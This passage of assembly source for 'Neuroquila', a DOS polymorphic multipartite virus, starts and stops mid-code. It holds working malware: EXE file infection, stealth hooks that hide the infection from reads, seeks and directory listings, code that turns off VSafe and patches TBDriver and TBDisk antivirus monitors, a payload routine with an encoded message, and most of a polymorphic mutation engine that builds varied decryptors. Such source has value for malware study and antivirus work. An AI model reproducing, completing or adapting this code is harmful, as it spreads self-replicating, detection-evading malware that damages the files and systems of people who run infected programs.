	mov     ch,4
	mov     dx,3F5h                         ; floppy disk status port
	mov     al,4                            ; sense drive status command
	out     dx,al
	loop    $                               ; wait for floppy to respond
	mov     ch,4
	out     dx,al                           ; try it again
	loop    $                               ; wait again
	in      al,dx                           ; get status
	test    al,40h                          ; floppy OK ?
	pop     dx
	jnz     floppy_not_OK                   ; No
not_floppy:
	call    @@131                           ; infect the file
floppy_not_OK:
	pop     ax
	pop     ds
	pop     dx
	int     21h
	mov     ah,1ah                          ; restore DTA
	pop     ds
	pop     dx
	int     21h

;---------------------------------------------------------------------------------------;
; VSafe away-functions                                                                  ;
;---------------------------------------------------------------------------------------;

; Bitfields for VSAFE/VWATCH parameter flags (BL):
; Bit(s)        Description     (Table 0429)
; 7     Protect executable files
; 6     Protect FD boot sector
; 5     Protect HD boot sector
; 4     Boot sector viruses
; 3     Check executable files
; 2     General write protect
; 1     Resident
; 0     HD Low level format
restore_vsafe:
;       mov     bl,0
	db      0B3h
old_vsafe_state         db      ?

assume  ds:nothing
switch_vsafe:
	pusha
	mov     ax,0FA02h
	mov     dx,5945h
	int     16h                     ; change VWATCH / VSAFE state
	mov     old_vsafe_state,cl              ; safe old state
	popa
ret1:
	ret


;---------------------------------------------------------------------------------------;
; Virus' int 21 (continued)                                                             ;
;---------------------------------------------------------------------------------------;

@@131:
	cmp     word ptr [si+20h],di            ; Higher Word of file size 0 ?
	jnz     file_big_enough                 ; No, file at least 10000h Byte long
	cmp     word ptr [si+1eh],2711h         ; File at least 10000(dez) Byte long ?
	jb      ret1                            ; No
file_big_enough:
	mov     ah,2ah
	int     21h                     ; Get date
	mov     ax,[si+1ch]             ; Filedate
	shr     ax,1                    ; DIV 2
	sub     cl,0bch                 ; ( Year - 1980 ) and 0ffh
	cmp     ah,cl                   ; fits to filedate ?
	jnz     date_check_failed       ; no
	shr     ax,4                    ; DIV 16
	and     al,0Fh                  ; only 4 lower bits
	cmp     al,dh                   ; fits to filedate ?
	jz      ret1
date_check_failed:
	mov     al,[si+19h]             ; file attributes
	and     al,7
	jz      file_attribs_allready_ok
	mov     ax,4301h                ; set new file attributes
	xor     cx,cx
	call    filename_int21
file_attribs_allready_ok:
	mov     ax,3d02h                ; open file for read/write
	call    filename_int21
	jc      @@137
	xchg    bx,ax                   ; pass handle into bx
	mov     ax,5700h                ; get files time/date
	int     21h
	push    cx                      ; save them
	push    dx
	mov     ah,3fh                  ; read first 19h byte of file
	call    cx25_int21
	jb      file_is_infected
	cmp     byte ptr [si+18h],40h   ; offset of relocation table is 40h ?
	jz      file_is_infected        ; yes, seems to be windows-exe
	mov     ax,[si]
	add     al,ah                   ; sum of first two bytes same as on exe-files ?
	cmp     al,0A7h
	jnz     file_is_infected        ; no, can not be EXE-File
	mov     ax,[si+4]               ; count of 512-byte-pages in the file
	dec     ax                      ; - 1
	xor     dx,dx
	mov     bp,200h
	mul     bp                      ; * 512
	add     ax,[si+2]               ; + byte in last page
	adc     dx,di                   ; => imagesize in byte
	cmp     [si+1eh],ax             ; compare with filesize
	jnz     file_is_infected
	cmp     [si+20h],dx
	jnz     file_is_infected
	;
	mov     al,2
	call    seek                    ; seek to end of file
	call    chk4infection           ; some more infection checking
	jz      file_is_infected        ; allreay infected
	call    dosf_4c
	call    infect_file             ; infect it now
file_is_infected:
	mov     ax,5701h
	pop     dx
	pop     cx
	call    do_int21                ; restore files date/time
	mov     ah,3eh                  ; close file
	int     21h
@@137:
	mov     ax,4301h
	xor     cx,cx
	mov     cl,[si+19h]
	cmp     cl,20h
	jz      not_reset_attribs
filename_int21:
	mov     dx,offset filename
	jmp     do_int21                ; restore files attributes
not_reset_attribs:
	ret

assume  ds:code2
infect_file:
	mov     ax,[si+0eh]             ; Initial SS
	mov     init_ss,ax
	mov     ax,[si+10h]             ; Initial SP
	mov     init_sp,ax
	mov     ax,[si+14h]             ; Initial IP
	mov     init_ip,ax
	mov     ax,[si+16h]             ; Initial CS
	mov     init_cs,ax
	mov     ax,[si+0Ch]             ; max. count of paragraphs above
	cmp     ah,0FFh
	jz      not_update_maxparas
	mov     ax,[si+04h]             ; Size of file in pages
	cwd
	mov     cx,20h
	mul     cx                      ; => * 512 / 16
	sub     ax,[si+08h]             ; Size of Header
	add     ax,[si+0Ch]             ; max. count of paragraphs above
;       add     ax,10h
	db      05h
@@155   dw      10h                     ; + 10h
not_update_maxparas:
	mov     progmem,ax
	mov     ah,0
	int     1ah                     ; Get Timer
	push    dx                      ; saver lower part of timer value
	xchg    dx,ax
	mov     ah,marker               ; calculate encryption value for
	sub     ah,al                   ; saved header
	neg     ax
	mov     word ptr [si+offset head_encr_val- offset head_buff],ax
	pop     ax                      ; timer value (low)
	mov     cl,ah
	and     ax,001Fh                ; and 01Fh
	shl     ax,4                    ; * 16
	mov     @@144,ax                ; offset of decryptor ???
	mov     dx,[si+offset l_org_fsize-offset head_buff]
	and     dx,0fh
	add     ax,dx
	mov     @@145,ax
	and     cl,1Fh
	mov     @@146,cx
	mov     ax,[si+offset l_org_fsize-offset head_buff]
	add     ax,offset my_size + extra_size
	mov     dx,ax
	or      al,1fh
	sub     ax,dx
	mov     @@147,ax
	push    ax
;       push    0BE00
	db      68h
	dw      0BE00h
	pop     es                              ; ES := 0BE00h
	xor     di,di
	cmp     word ptr es:[di],0720h  ; woops test if there is space in the Video-RAM
	jz      do_mutate               ; yeah seems to be free, so use for engine
	pop     ax
write_failure:
	ret
do_mutate:
	call    mutate
	mov     ah,40h
	mov     cx,offset my_size
	call    cwd_int21               ; write the virus
	cmp     ax,cx                   ; all written ?
	pop     cx
	mov     word ptr ds:[di],0720h  ; make sure we know the video buf is OK
	push    cs
	pop     ds
	jnz     write_failure           ; not all byte written
	mov     dh,13h
	call    write_to_file
	mov     cx,extra_size
	mov     dx,offset my_size
	call    endecrypt_head
	call    write_to_file
	call    endecrypt_head
	call    seek_to_begin
	mov     ax,[si+1eh]
	mov     dx,[si+20h]
	push    ax
	push    dx
	add     ax,offset my_size+extra_size
	adc     dx,di
;       add     ax,17h
	db      05h
@@147   dw      0017h
	adc     dx,di
	div     bp
	inc     ax
	mov     word ptr [si+4],ax      ; adjust header pages
	mov     word ptr [si+2],dx      ; adjust byte in last page
	pop     dx
	pop     ax
	div     @@155
	sub     ax,[si+08h]             ; header size
	push    ax
;       mov     cx,60h
	db      0B9h
@@144   dw      0060h
	shr     cx,4
	sub     ax,cx
	mov     word ptr [si+16h],ax    ; new initial CS
	pop     ax
	dec     ax
;       add     ax,4
	db      05h
@@146   dw      4
	mov     word ptr [si+0eh],ax    ; new initial IP
	add     dx,@@144
	mov     [si+14h],dx
	mov     ax,1600h
	mov     dx,@@146
	shl     dx,4
	sub     ax,dx
	mov     word ptr [si+10h],ax            ; new initial SP
	add     word ptr [si+0ah],161h          ; adjust min params by virus_params
	mov     ax,[si+0ah]                     ; get new min params
	cmp     word ptr [si+0ch],ax            ; max > min ?
	ja      write_25byte_to_file            ; yes
	mov     word ptr [si+0ch],ax            ; no then max:=min
write_25byte_to_file:
	mov     ah,40h
cx25_int21:
	mov     cx,19h
	mov     dx,si
do2_int21:
	jmp     do_int21

seek_to_begin:
	mov     al,0
seek:
	mov     ah,42h                  ; Seek
	xor     cx,cx                   ; Higher position value is 0
cwd_int21:
	cwd
	jmp     do2_int21               ; call int 21h

dosf_4e:
	cld
	push    cs
	pop     es
	; Copy filename, find last '\' and save position to last_backslash_pos
	mov     si,dx
	mov     di,offset filename
	mov     cx,di
next2_filename_char:
	lodsb
	stosb
	cmp     al,'\'
	jnz     no_backslash
	mov     cx,di
no_backslash:
	or      al,al
	jnz     next2_filename_char
assume  ds:nothing
	mov     last_backslash_pos,cx
	call    reg_restore
assume  ds:code2

dosf_4f:
	add     sp,6
	int     21h
	jb      @@167
	push    ax
	call    check_filesize
	jb      open2_failure
	push    ds
	lea     si,[bx+1eh]
;       mov     di,offset filename
	db      0BFh
last_backslash_pos      dw      offset filename
	mov     dx,offset filename
	mov     cx,0dh
	push    cs
	pop     es
	rep     movsb                   ; copy file name (without path)
	pop     es
	push    cs
	pop     ds
	mov     si,bx
infect_fcb_file:
	mov     ax,3d00h
	call    do_int21                        ; open file for reading
	jb      open2_failure
	xchg    bx,ax
	call    dosf_4c
	call    chk4infection
	pushf
	mov     ah,3eh
	int     21h                             ; close the file
	popf
	jnz     open2_failure
	mov     ax,l_org_fsize
	mov     word ptr es:[si+1ah],ax
	mov     ax,h_org_fsize
	mov     word ptr es:[si+1ch],ax
open2_failure:
	pop     ax
	clc
@@167:
	push    ax
	call    restreg_and_prep_leaving
	pop     ax
	retf    2

dosf_11_12:
	nop
	add     sp,6
	int     21h                             ; do search file
	cmp     al,0
	jnz     @@167
	push    ax
	call    check_filesize
	jb      open2_failure
	push    cs
	pop     es
	lea     si,[bx-2]
	mov     di,offset head_buff
	mov     dx,di
	cld
	mov     cx,8
	call    find_space
	mov     al,'.'
	stosb
	lea     si,[bx+6]
	mov     cl,3
	call    find_space
	mov     al,0
	stosb
	push    ds
	pop     es
	jmp     infect_fcb_file

find_space:
	lodsb
	cmp     al,20h
	jz      found_space
	stosb
	loop    find_space
found_space:
	ret

assume  ds:nothing
check_filesize:
	mov     ah,2fh
	int     21h                             ; Get DTA
	push    es
	pop     ds
	cmp     byte ptr [bx],0ffh              ; extended FCB ?
	jnz     @@172                           ; No
	add     bx,7                            ; adjust offset
@@172:
	cmp     byte ptr save_ax+1,12h          ; was it FCB find ?
	ja      @@173                           ; no
	add     bx,3                            ; adjust offset
@@173:
	mov     al,[bx+1ah]                     ; file size
	and     al,1fh                          ; mask 5 lower bits
	cmp     al,1fh                          ; all setted ?
	jz      @@174                           ; file maybe infected
	stc
	ret
@@174:
	cmp     word ptr [bx+1ch],0
	jnz     @@175
	cmp     word ptr [bx+1ah],2711h
@@175:
	ret

assume  ds:code2
chk4infection:
	mov     ax,4400h
	int     21h                     ; read IOCTL-attributes
	test    al,80h                  ; *** should better use dl
					; device is a char-device ?
	jnz     not_exe                 ; Yes
	push    cs
	pop     ds
	mov     al,1
	call    seek
	jb      not_exe
	mov     l_org_fpos,ax
	mov     h_org_fpos,dx
;       cmp     bl,0
	db      80h,0FBh
file_handle     db      0
	jz      allready_read
	mov     ax,4202h
	mov     cx,0ffffh
	mov     dx,0ffdch
	int     21h
	mov     file_handle,bl
	mov     ah,3fh
	mov     cx,extra_size
	mov     dx,offset head_buff
	int     21h
	call    endecrypt_head
restore_old_fpos:
	mov     ax,4200h
;       mov     dx,2b04h
	db      0BAh
l_org_fpos      dw      ?
;       mov     cx,0
	db      0B9h
h_org_fpos      dw      ?
	int     21h
allready_read:
	cmp     byte ptr head_buff,5ah
	jz      exe_file
	cmp     byte ptr head_buff,4dh
	jnz     not_exe
exe_file:
	push    ax
	mov     ax,head_encr_val
	neg     ax
	add     al,ah
	cmp     al,marker
	pop     ax
not_exe:
	ret

assume  ds:nothing
; Fixes the problem of seeks from the fileend
dosf_42:
	cmp     al,2            ; seek from end of file ?
	jnz     not_exe         ; No
	call    chk4infection
	jnz     not_exe         ; file is not infected
	add     sp,6
	call    reg_restore
	push    cx
	mov     al,0            ; seek from filebegin instead
	mov     cx,h_org_fsize
	mov     dx,l_org_fsize
	add     dx,save_dx
	adc     cx,0
	add     cx,save_cx      ; org filesize + seek offset
	int     21h
	call    prepare_leave_int21
	pop     cx
	jmp     leave_int21

assume  ds:code2
dosf_3f:
; Makes it impossible to read after the end of the original file
	push    cx
	call    chk4infection
	pop     bp
	jnz     not_exe                 ; file is not infected
	add     sp,6
	mov     si,offset head_buff
	sub     ax,[si+1eh]             ; actual filepos < original filesize ?
	sbb     dx,0
	sub     dx,[si+20h]
	js      @@183                   ; yes
	call    restreg_and_prep_leaving
	sub     ax,ax                   ; nothing read due end of file
	clc
	jmp     leave_int21
@@183:
	add     ax,bp
	adc     dx,0
	jnz     @@184
	sub     bp,ax                   ; byte left to read
@@184:
	push    bp
	call    reg_restore
	pop     cx
	int     21h                     ; read up to original filesize
	pushf
	push    ax
	jb      no_header_read
	; fix header entries read
	push    ds
	pop     es
	mov     di,dx
	push    cs
	pop     ds
	mov     si,offset head_buff
	cmp     h_org_fpos,0
	jnz     no_header_read
	mov     ax,l_org_fpos
	cmp     ax,18h
	jnb     no_header_read
	add     si,ax
	add     cx,ax
	cmp     cx,18h
	jbe     @@186
	sub     ax,18h
	neg     ax
	xchg    cx,ax
@@186:
	cld
	rep     movsb
no_header_read:
	call    restreg_and_prep_leaving
	pop     ax
	popf
leave_int21:
	retf    2

assume  ds:nothing
dosf_3e:
dosf_4c:
	mov     file_handle,0           ; saved header not read yet
	mov     head_encr_val,0         ; no encryption of saved header yet
	ret

dosf_44:
	cmp     al,52h                          ; get DR-DOS version ?
	jnz     no_DRDOS                        ; no

dosf_32:
	mov     byte ptr dosf_11_12,switch_off
					; no infection on FCB file-search
no_DRDOS:
	ret

;assume ds:nothing
patch_new_intcode:
	cmp     ah,25h
	jnz     @@19
dosf_25:
	mov     si,dx
	cmp     word ptr [si],30CDh
	jnz     int01patches
	lds     dx,dword ptr tunneled_ofs
	push    ds
	pop     es
	mov     ax,dx
	mov     bh,13h
	xchg    bx,ax
	int     2Fh                     ; set disk interrupt handler
	mov     ax,word ptr ds:[0FFFFh] ; This will cause CPU exception
	jmp     $                       ; This will crash the CPU

int01patches:
	mov     ax,word ptr ds:[si]
	cmp     al,0EBh                         ; JMP disp8 ?
	jnz     not_TBDriver                    ; No
	cmp     word ptr ds:[si+7],09CFAh       ; CLI; PUSHF ?
	jnz     not_TBDriver                    ; No
	cmp     word ptr ds:[si+9],053FCh       ; CLD; PUSH BX ?
	jnz     not_TBDriver                    ; No
	mov     byte ptr ds:[si],0A8h           ; replace with TEST AL,value8
						; TBDriver Int 21h patch
	; this patches out the trace-mode detection for int 21h
not_TBDriver:
	cmp     ax,09CFAh                       ; CLI; PUSHF ?
	jnz     not_TBDisk                      ; No
	cmp     word ptr ds:[si+4],006F6h       ; TEST [value16],value8
	jnz     not_TBDisk                      ; No
	mov     byte ptr ds:[si+9],0EBh         ; TBDisk Int 13h patch
	; disables int 13h tests of TBDisk
not_TBDisk:
	; Check for smartdrv ???
	; But not for version 5.0 !
	cmp     ax,0832Eh                       ; CS:; some byte operation ?
	jnz     @@16                            ; No
	cmp     word ptr ds:[si+9],05550h       ; PUSH AX; PUSH BP ?
	jnz     @@16                            ; No
	cmp     byte ptr ds:[si+016eh],0e8h     ; CALL disp16 ?
	jnz     @@16                            ; No
	mov     byte ptr ds:[si+016eh],0c3h     ; replace CALL with retn
@@16:
	cmp     ax,030CDh
	jnz     @@18
	jmp     $
@@18:
	cmp     ax,02EFBh                       ; STI; CS: ?
	jnz     @@20                            ; No
	cmp     word ptr ds:[si+7],00375h       ; JNZ $+5 ?
	jnz     @@19                            ; No
	cmp     word ptr ds:[si+0dh],0FAFCh     ; CLD; CLI ?
	jnz     @@19                            ; No
	mov     byte ptr ds:[si+8],0            ; JNZ $+5 -> JNZ $+2
@@19:
	ret
@@20:
	cmp     ax,0EB9Ch                       ; PUSHF; JMP disp16 ?
	jnz     @@19                            ; No
	cmp     word ptr [si+2],08000h          ; JMP $+2; some byte op. ?
	jnz     @@19                            ; No
	mov     byte ptr [si+7],0               ; fix something but what ???
	ret

assume  ds:code2
dosf_40:
; Disinfect infected files before writing to them
	call    chk4infection
	jnz     @@19                    ; file is not infected
	call    seek_to_begin           ; seek to begin of file
	mov     si,offset head_buff
	call    write_25byte_to_file    ; restore first 19h byte of file
	jb      @@189
	mov     ax,4200h
	mov     cx,h_org_fsize
	mov     dx,l_org_fsize          ; seek to original filesize
	int     21h
	mov     ah,40h
	xor     cx,cx                   ; truncate file here ???
	call    do_int21
@@189:
	jmp     restore_old_fpos

;---------------------------------------------------------------------------------------;
; Virus' int13-tools                                                                    ;
;---------------------------------------------------------------------------------------;

assume  ds:nothing
write_1_sect:
	mov     ax,301h                 ; write one sector
call_int13:
	push    bx
	xor     bx,bx
	call    switch_vsafe            ; switch vsafe off
	pop     bx
	cli
	pushf
	call    dword ptr tunneled_ofs
	push    bx
	pushf
	call    restore_vsafe           ; switch vsafe on
	popf
	pop     bx
	ret

write_to_file:
	mov     ah,40h
do_int21:
	cli
	pushf
	call    dword ptr tun21_ofs
	ret

;---------------------------------------------------------------------------------------;
; En-/Decryption tools for the boot/MBR part of the virus                               ;
;---------------------------------------------------------------------------------------;
crypted_int13:
	call    encrypt_sector
	call    call_int13

; Encrypt 200h bytes at ds:bx (es=ds)
encrypt_sector:
	pusha
	mov     si,bx
	mov     di,bx
	mov     cl,dh
	mov     dx,0DEADh               ; initial encryption value
	shl     dx,cl
	mov     cx,0ffh
encrypt_next_word:
	db      26h                     ; ES:
	lodsw
	xor     ax,dx
	add     dx,07fh                 ; modify the encryption value
	stosw
	loop    encrypt_next_word
	popa
	ret
	
endecrypt_head:
	pusha
	mov     si,dx
	mov     bl,ds:[si+23h]
	dec     cx
encrypt_next_byte:
	lodsb
	xor     al,bl
	add     bl,cl
	mov     byte ptr [si-1],al
	loop    encrypt_next_byte
	popa
	ret

;---------------------------------------------------------------------------------------;
; The Damage-function of Neuroquila                                                     ;
;---------------------------------------------------------------------------------------;

;assume ds:nothing
damage_switch:
	db      switch_off              ; ret is patched away to enable
	pusha                           ; the damage function
;       mov     cx,1
	db      0B9h
damage_delay    dw      1
	loop    $
	inc     byte ptr damage_delay
	jnz     no_damage_yet
	mov     ax,3
	int     10h                     ; set video mode 3
	mov     ah,2
	mov     bh,0
	mov     dx,0C03h                ; row 12 column 3
	int     10h
	mov     si,offset havoc_text
next_output_char:
	db      2Eh                     ; CS:
	lodsb
	xor     al,0f5h
	int     29h                     ; fast console output of char in AL
	or      al,al
	jnz     next_output_char
	cbw
	int     16h                     ; wait for key
no_damage_yet:
	popa
	ret

;---------------------------------------------------------------------------------------;
; Text coded with simple XOR key F5
;  by Neurobasher'93/Germany -GRIPPED-BY-FEAR-UNTIL-DEATH-US-DO-PART-
;---------------------------------------------------------------------------------------;

havoc_text:
	db 0C9h, 0BDh, 0B4h, 0A3h, 0BAh, 0B6h, 0CBh, 0D5h, 097h, 08Ch, 0D5h, 0BBh, 090h
	db 080h, 087h, 09Ah, 097h, 094h, 086h, 09Dh, 090h, 087h, 0D2h, 0CCh, 0C6h, 0DAh
	db 0B2h, 090h, 087h, 098h, 094h, 09Bh, 08Ch, 0D5h, 031h, 0B2h, 0A7h, 0BCh, 0A5h
	db 0A5h, 0B0h, 0B1h, 031h, 0B7h, 0ACh, 031h, 0B3h, 0B0h, 0B4h, 0A7h, 031h, 0A0h
	db 0BBh, 0A1h, 0BCh, 0B9h, 031h, 0B1h, 0B0h, 0B4h, 0A1h, 0BDh, 031h, 0A0h, 0A6h
	db 031h, 0B1h, 0BAh, 031h, 0A5h, 0B4h, 0A7h, 0A1h, 031h, 0F5h
	
;---------------------------------------------------------------------------------------;
; The Mutation-Engine of Neuroquila                                                     ;
;---------------------------------------------------------------------------------------;
; ES = BE00  - working segment
; DI = 0000
; "[bp+4]" means thhe value stored in [bp+4] is inserted directly

assume  ds:code2
mutate:
	pusha
	; copy whole virus
	xor     si,si
	mov     cx,offset memory_top
	rep     movsb
	; init the engine
	mov     si,offset engine_data
	sub     di,di
	xor     ax,ax
	mov     encr_val2,ax
	mov     encr_val_method_of_modify,35h           ; XOR AX,
	mov     encr_val_modifier,ax
	mov     word ptr [si+ offset encr_opcode3 - offset engine_data],9090h
						; NOP; NOP 
	mov     byte ptr [si+ offset encr_opcode2 - offset engine_data],05h
	mov     ah,2Ch
	int     21h                             ; Get time
	mov     [si+ offset time - offset engine_data],cx                       ; hour and minute
	mov     [si+ offset time - offset engine_data +2],dx                    ; second and msec
	mov     ah,2Ah
	int     21h                             ; Get date
	mov     [si+ offset date - offset engine_data],cx       ; Year
	mov     [si+ offset date - offset engine_data +2],al                    ; Day of week
	push    dx                              ; Month and day of Month
	mov     ah,0
	int     1ah                             ; read timer
	xchg    bp,cx
	pop     cx
	xchg    si,bx
	cld
	mov     ax,cx
	add     ax,dx
	xor     ax,bp
	mov     [bx+ offset modifier_value - offset engine_data],ax
	mov     ax,dx
	or      ax,bp
	rol     ax,1
	neg     ax
	mov     [bx+ offset encr_val1 - offset engine_data],ax
	mov     [bx+ offset encr_val2 - offset engine_data],ax
	; Write register inits
;       push    word ptr offset init_addr
	db      68h
init1   dw      offset init_addr
;       push    word ptr offset init_encr_val
	db      68h
init2   dw      offset init_encr_val
;       mov     ax,offset init_ds
	db      0B8h
init3   dw      offset init_ds
	call    ax
	pop     ax
	call    ax
	pop     ax
	call    ax
	; Change position of register-inits for next run
	mov     ax,init1
	xchg    ax,init2
	xchg    ax,init3
	test    cl,1
	jz      permutate_inits
	xchg    ax,init2
permutate_inits:
	mov     init1,ax
	;
	mov     al,0fh
	call    gen_limit_junk
	; Save loop-begin
	mov     [bx+ offset loop_begin_pos - offset engine_data],di
	; Choose carry-flag setting for encryption
	mov     si,cx
	and     si,07h
	shl     si,1
	cmp     si,6
	jb      no_clc_stc
	cmp     si,8
	ja      no_clc_stc
	mov     al,0f8h                         ; CLC
	test    ch,2
	jz      put_clc
	inc     ax                              ; STC
put_clc:
	stosb
	mov     [bx + offset encryption_loop - offset engine_data],al
	; Generate CS: or not
no_clc_stc:
	test    byte ptr [bx+offset int21_counter - offset engine_data],3 ; [bx+9]
	jnz     no_cs_pref
	mov     al,2eh                          ; CS:
	stosb
no_cs_pref:
	test    byte ptr [bx+ offset time - offset engine_data],3               ; [bx+3]
	jnz     no_81h_pref
	add     si,10h                  ; 0-8 without prefix 81h
	cmp     si,18h
	ja      no_81h_pref             ; 9-11 with pref. and 12-15 without
	mov     al,81h
	stosb
no_81h_pref:
	call    word ptr [bx+si+ offset encryption_table - offset engine_data]
	mov     ax,offset gen_addr_inc
	mov     si,offset gen_modifier
	test    dl,1
	jnz     @@205
	xchg    si,ax
@@205:
	push    si
	call    ax
	pop     ax
	call    ax
	mov     al,0fh
	call    gen_limit_junk
	mov     si,[bx+ offset int13_counter - offset engine_data]
	and     si,3
	shl     si,1
	; genrate the address-compare
	call    word ptr [bx+si+ offset tbl_adr_cmp - offset engine_data]       ;[bx+si-28h]
	;
	call    genjunk_9
	mov     al,[bx+ offset time - offset engine_data + 2]
	and     ax,3
	xchg    si,ax
	add     si,offset first_jmp_table
	movsb
	mov     [bx+ offset cond_jmp_pos - offset engine_data],di
	stosb
	call    genjunk_9
	cmp     bp,13h
	jb      second_cond_jmp_method
	test    byte ptr [bx+ offset time - offset engine_data],3
	jnz     second_cond_jmp_method
	mov     ax,0C933h                       ; XOR CX,CX
	stosw
	mov     al,0e3h                         ; JCXZ ?
	stosb
	jmp     cond_jmp_done
second_cond_jmp_method:
	mov     si,[bx+ offset time - offset engine_data + 3]
	and     si,3
	add     si,offset second_jmp_table
	movsb
cond_jmp_done:
	mov     ax,[bx+ offset loop_begin_pos - offset engine_data]
	sub     ax,di
	dec     ax
	cmp     byte ptr es:[di-1],0e9h         ; JMP NEAR ?
	jz      jmp_near                        ; Yes
	stosb                                   ; else JMP SHORT
	jmp     looping_jmp_done
jmp_near:
	dec     ax
	stosw
looping_jmp_done:
	push    di
	mov     al,68h                  ; PUSH word
	stosb
	mov     ax,[bx+ offset @@145 - offset engine_data]
	add     ax,offset vir_start
	stosw
	mov     al,0C3h                 ; RET
	stosb
	pop     di
	mov     ax,[bx+ offset cond_jmp_pos - offset engine_data]
	mov     si,ax
	neg     ax
	add     ax,di
	dec     ax
	mov     es:[si],al
	mov     ax,offset init_ds + 100h
	mov     si,[bx+ offset cmp_addr_pos - offset engine_data]
	sub     ax,di
	add     ax,[bx+ offset @@145 - offset engine_data]
	mov     es:[si],ax
	mov     si,[bx+ offset init_addr_pos - offset engine_data]
	mov     ax,di
	add     ax,[bx+ offset @@145 - offset engine_data]
	mov     cx,5
	push    es
	pop     ds
test_for_lower_byte:
	cmp     byte ptr [si],0FEh
	jnz     test_for_higher_byte
	mov     byte ptr [si],al
test_for_higher_byte:
	cmp     byte ptr [si],0FFh
	jnz     not_higher_byte
	mov     byte ptr [si],ah
not_higher_byte:
	inc     si
	loop    test_for_lower_byte
;       mov     ax,7682h
	db      0B8h
encr_val2       dw      7682h
	; Encrypt the virus-body itself
encryption_loop:
	clc
;       sub     [di],ax
encr_opcode1    db      29h
encr_opcode2    db      05h
encr_opcode3    dw      9090h           ; nop; nop
	inc     di
	inc     di
;       xor     ax,0
encr_val_method_of_modify       db      35h
encr_val_modifier       dw      ?
	cmp     di,offset my_size+1
	jb      encryption_loop
	popa
	ret

encryption_table        dw      offset gen_xor_encryption
			dw      offset gen_add_encryption
			dw      offset gen_sub_encryption
			dw      offset gen_adc_encryption
			dw      offset gen_sbb_encryption
			dw      offset gen_not_encryption
			dw      offset gen_neg_encryption
			dw      offset gen_rol_ror_encryption
			dw      offset gen_direct_xor_encryption
			dw      offset gen_direct_add_encryption
			dw      offset gen_direct_sub_encryption
			dw      offset gen_direct_adc_encryption
			dw      offset gen_direct_sbb_encryption
			dw      offset gen_not_encryption
			dw      offset gen_neg_encryption
			dw      offset gen_rol_ror_encryption

modifier_table  dw      offset gen_add_sub_modifier
		dw      offset gen_add_sub_modifier
		dw      offset gen_xor_modifier
		dw      offset gen_rol_ror_modifier

addr_increase_table     dw      offset gen_two_inc_addr
			dw      offset gen_add_addr
			dw      offset gen_sub_addr
			dw      offset gen_lea_addr

; Table for addresscompare
tbl_adr_cmp     dw      offset gen_direct_addr_cmp
		dw      offset gen_sub_addr_cmp
		dw      offset gen_negadd_addr_cmp
		dw      offset gen_si_to_ax_addr_cmp

set_reg_table   dw      offset set_reg1         ; 0E78
		dw      offset set_reg2         ; 0E7A
		dw      offset set_reg3         ; 0E7E
		dw      offset set_reg4         ; 0E80

si_to_ax        db      08Bh, 0C6h              ; MOV AX,SI
		db      089h, 0F0h              ; MOV AX,SI
		db      08Dh, 004h              ; LEA AX,[SI]
		db      056h, 058h              ; PUSH SI ; POP AX

first_jmp_table         db      074h, 077h, 073h, 074h  ; je/ja/jnb/je
second_jmp_table        db      0EBh, 075h, 0E9h, 072h  ; jmp8/jnz/jmp16/jb

cs_to_ds        dw      offset init_ds3
		dw      offset init_ds1
		dw      offset init_ds2
		dw      offset init_ds2

engine_data:

date    db      ?,?,?
time    db      ?,?,?,?

int13_counter   dw      ?
int21_counter   dw      ?
loop_begin_pos          dw      ?
cond_jmp_pos            dw      ?
init_addr_pos           dw      ?
cmp_addr_pos            dw      ?

@@145   dw      ?

si_di_bx        db      6, 7, 3, 3
addr_regs       db      4, 5, 7, 7              ; [si], [di] or [bx]
encr_reg1       db      1, 2, 5                 ; cx, dx or bp
encr_reg2       db      08h, 10h, 28h           ; cx, dx or bp in XOR
@@393   db      74h, 7dh, 5fh, 5fh

junk_table      dw      offset junk_0   ; nothing
		dw      offset junk_1   ; CLD
		dw      offset junk_2   ; LEA AX,[random16]
		dw      offset junk_3   ; STD
		dw      offset junk_4   ; MOV AH,random8
		dw      offset junk_5   ; CLI
		dw      offset junk_6   ; STI
		dw      offset junk_7   ; MOV AL,random8
		dw      offset junk_8   ; MOV AX,random_reg16
		dw      offset junk_9   ; MOV AX,random16
		dw      offset junk_a   ; NOP
		dw      offset junk_b   ; CBW
		dw      offset junk_c   ; AND AX,random16
		dw      offset junk_d   ; OR AX,random16
		dw      offset junk_e   ; MOV AH,4Dh; INT 21h
		dw      offset junk_f   ; CLC; JNC $+3; JMP xxxx:xxxx

;=======================================================================;
; Functions for modifying the encryption value I                        ;
;=======================================================================;

;-----------------------------------------------;
; Generate ADD/SUB encr_val,[modifier_value]    ;
;-----------------------------------------------;
gen_add_sub_modifier:
	mov     ax,05C0h
	test    dh,1
	jz      gen_add_modifier
	mov     ax,2DE8h
gen_add_modifier:
	call    insert_encr_reg1
	mov     [bx+ offset encr_val_method_of_modify - offset engine_data],ah
;       mov     ax,45CCh
	db      0B8h
modifier_value  dw      45CCh
	stosw
	mov     [bx+ offset encr_val_modifier -offset engine_data],ax
	ret

;----------------------------------------;
; Generate XOR encr_val,[modifier_value] ;
;----------------------------------------;
gen_xor_modifier:
	mov     ax,35F0h
	jmp     gen_add_modifier        ; here a xor-modifier is generated
					; instead

;=======================================================================;
; Functions for de/encryption I                                         ;
;=======================================================================;

;---------------------------------------;
; Generate XOR [],encr_val              ;
;---------------------------------------;
gen_direct_xor_encryption:
	mov     al,30h
	call    insert_addr_reg2
	mov     byte ptr [bx+ offset encr_opcode1 - offset engine_data],31h
put_encryption_value:
;       mov     ax,7682h
	db      0B8h
encr_val1       dw      7682h
	stosw
	ret

;=======================================================================;
; Functions for modifying the encryption value II                       ;
;=======================================================================;

;---------------------------------------;
; Generate ROL/ROR encr_val,1           ;
;---------------------------------------;
gen_rol_ror_modifier:
	dec     di
	mov     al,0D1h
	stosb
	mov     [bx+ offset encr_val_method_of_modify - offset engine_data],al
								; ROx AX,1
	mov     ax,0C0C0h       ; ROL
	test    dh,1
	jz      gen_rol_modifier
	mov     ax,0C8C8h       ; ROR
gen_rol_modifier:
	call    insert_encr_reg1
	mov     al,90h
	xchg    al,ah
	mov     [bx+ offset encr_val_modifier - offset engine_data],ax
							; => ROx AX,1; NOP
	ret

;=======================================================================;
; Functions for de/encryption II                                        ;
;=======================================================================;

;---------------------------------------;
; Generate ADD [],encr_val              ;
;---------------------------------------;
gen_direct_add_encryption:
	mov     al,0            ; ADD
gen_direct_add_sub_encryption:
	call    insert_addr_reg2
	xor     al,28h
@@335:
	and     al,0F8h
	inc     ax
	mov     [bx+ offset encr_opcode1 - offset engine_data],al
	jmp     put_encryption_value

;---------------------------------------;
; Generate SUB [],encr_val              ;
;---------------------------------------;
gen_direct_sub_encryption:
